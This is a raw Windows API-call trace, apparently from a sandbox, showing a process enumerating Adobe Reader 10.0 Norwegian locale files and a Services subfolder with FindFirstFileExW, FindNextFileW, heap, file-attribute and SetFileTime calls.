RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ba08 [0082.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12859d0 [0082.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.271] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.NOR", cAlternateFileName="")) returned 1 [0082.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ba28 [0082.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285ad8 [0082.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.273] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NOR", cAlternateFileName="")) returned 1 [0082.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ba48 [0082.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285be0 [0082.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.274] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NOR", cAlternateFileName="")) returned 0 [0082.274] GetLastError () returned 0x12 [0082.274] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.274] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fc08920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.NOR", cAlternateFileName="")) returned 1 [0082.275] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285ce8 [0082.276] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.276] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.276] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.276] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.277] NtClose (Handle=0x168) returned 0x0 [0082.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1285ce8) returned 1 [0082.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285ce8 [0082.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285df0 [0082.278] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.278] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285ef8 [0082.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ba68 [0082.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286000 [0082.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.280] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ba88 [0082.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286108 [0082.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.281] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.282] GetLastError () returned 0x12 [0082.282] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.282] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.282] GetLastError () returned 0x12 [0082.282] 